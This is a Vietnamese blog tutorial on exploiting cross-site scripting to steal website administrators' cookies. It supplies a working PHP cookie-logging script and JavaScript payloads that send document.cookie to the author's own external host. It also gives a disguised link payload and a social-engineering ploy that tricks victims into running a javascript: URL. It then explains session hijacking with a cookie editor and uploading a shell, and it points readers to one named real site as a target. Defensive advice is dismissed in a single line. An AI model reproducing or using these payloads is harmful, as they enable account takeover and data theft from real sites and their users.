Skip to main content

Khai thác lỗi XSS thế nào?

xss

Lỗi xss là lỗi cho phép thực thi trái phép script trái phép trên client người dùng có thể tham khảo thêm tại đây Cross Site Scripting

Thường thì trước kìa tại hạ quậy phá cho phép thực thi câu lệnh:
<script>
window.location=’”http:///xxxx.yyy”;
</script>
Trong đó http:///xxxx.yyy là 1 trang tươi mát nào đó mục đích là cho admin giải trí trong những lúc mệt mỏi.



Bây giờ gặp site lổi tại hạ không dại gì làm thế nữa, vì làm thế chả làm được gì mà còn giúp nó fix bug nè, rồi giúp nó biết thêm mấy trang tươi mát của mềnh nữa.

Khi gặp site lỗi xss vấn đề bây giờ là lấy cookie của admin, sau đó đăng nhập với vai trò là admin rồi thích làm gì thì làm :”>

Để test site có lấy được cookie toàn vẹn hay không chúng ta thử test bằng cách gõ vào address câu lệnh đơn giản như sau :
javascript:alert(document.cookie);
Ví dụ mình lấy trang http://thamhue.com/forum.php chúng ta đăng nhập vào và dùng firebug để xem cookie như hình
image

chúng ta thực hiện câu lệnh trên và so sánh cookie của firebug
image

Hey ya, nó khác rồi, không khai thác được, nếu nó lỗi xss thì cho nó về trang tươi mát cho bỏ tức.

Chúng ta tìm site khác. giả sử có 1 site mô đó lỗi xss và lấy được cooki, chúng ta sẽ viết 1 script cho return về trang của mình để lưu cookie xong rồi return nó về trang nào đó tùy mình, mục đích là lấy được cooki thôi mà.

Giả sử mình có một host free php đi, chúng ta vào tạo 1 file có tên là cc.php và 1 file text có tên là cookie.txt
file cc.php
<?php
$myFile = "cookie.txt";
$fh = fopen($myFile, ‘a+’);
$bien=$_REQUEST['cc'].":".$_REQUEST['url']."\n";
fwrite($fh,$bien);
fclose($fh);
echo("<script>window.location=’".$_REQUEST['url']."’;</script>");
?>
File cooki.txt để trống và checkmod cho phép đọc&ghi.

Ví dụ tại hạ đã làm và đã upload lên file có địa chỉ
http://vitinh2nd.com/cc.php
http://vitinh2nd.com/cookie.txt

Khi gặp site http://xyz.xxx lỗi xss ta tìm viết đoạn script sau :
<script>
window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;
</script>
Giải thích : khi admin vào và thực thi script này thì sẽ chạy đến trang của mềnh rồi save cooki vào file cookie.txt rồi return lại trang gốc, mục đích lưu url để biết domain nào mà khai thác, thứ hai là để thằng admin nào đó gà nó tưởng site bị lỗi gì :”>

Vậy là xong, vậy sau khi lấy được cooki mình làm thế nào để đăng nhập :”>
các bạn có thể dùng addon Cookie Manager của Firefox để edit và thêm các trường của cooki sau đó F5 rồi đăng nhập như hình:

image

Kết luận: có phải xss là cách duy nhất để lấy cookie? Cũng có nhiều cách ví dụ như những các sau:
ví dụ vào một trang mà có editor có cho phép sửa mã html các bạn có thể viết 1 bài dài ca ngợi linh tinh gì đó rồi chèn vào cái link dạng như vào đây xem tiếp:
<a href=”#” onclick=”javascript:window.location=’http://vitinh2nd.com/cc.php?cc=’+document.cookie+’&url=http://xyz.xxx’;” >Click vào đây để xem chi tiết</a>
Nó click vào thì thực hiện câu lệnh trên.

Cách thứ hai dùng kỹ thuật chém gió lừa tình (social engineering)

Dụ victim cái này phải chém cho hay : ví dụ như anh/chị gõ lệnh này trên trình duyệt
javascript:window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;
sẽ hack được tiền hay đại loại để xem lỗi hay gì gì thế tùy vào bạn.

Vậy lỗi xss này có thể khai thác bằng cách đăng nhập vào admin sau đó up shell lên sever rồi lấy dữ liệu của victim.

Cách khắc phục thì mấy bác có thể search google, trình độ em chỉ biết có thế có gì sai mấy bác đừng có chém em mà tội.

Share this with your friends
Loading...